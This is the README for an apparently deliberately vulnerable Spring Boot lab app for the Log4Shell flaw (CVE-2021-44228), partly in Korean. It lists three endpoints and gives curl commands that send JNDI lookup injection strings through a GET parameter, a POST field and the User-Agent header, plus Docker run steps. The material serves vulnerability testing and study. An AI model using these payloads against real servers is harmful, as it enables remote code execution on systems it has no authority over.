zzzz0317/log4j2-vulnerable-spring-appCVE-2021-44228
spring-boot-starter-log4j2:2.6.1 (log4j 2.14.1) 기반
| 엔드포인트 | 요청 메서드 | 매개변수 |
|---|---|---|
vulnerable_request_get | GET | v=payload |
vulnerable_request_post | POST | v=payload |
vulnerable_request_header_ua | GET / POST | Header User-Agent |
$ curl 'http://[targetIP]:8080/vulnerable_request_get?v=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%2Ffake%7D'
{"method":"vulnerable_request_get","payload":"${jndi:ldap://127.0.0.1/fake}"}
$ curl -X POST -F 'v=${jndi:ldap://127.0.0.1/fake}' 'http://[targetIP]:8080/vulnerable_request_post'
{"method":"vulnerable_request_post","payload":"${jndi:ldap://127.0.0.1/fake}"}
$ curl 'http://[targetIP]:8080/vulnerable_request_header_ua' --user-agent '${jndi:ldap://127.0.0.1/fake}'
{"method":"vulnerable_request_header_ua","payload":"${jndi:ldap://127.0.0.1/fake}"}
docker run -p 8080:8080 ghcr.io/zzzz0317/log4j2-vulnerable-spring-app:latest
참고: 현재 이미지는 openjdk:8u111-jdk 기반입니다.
docker build -t log4j2-vulnerable-spring-app:latest .
docker run -p 8080:8080 log4j2-vulnerable-spring-app:latest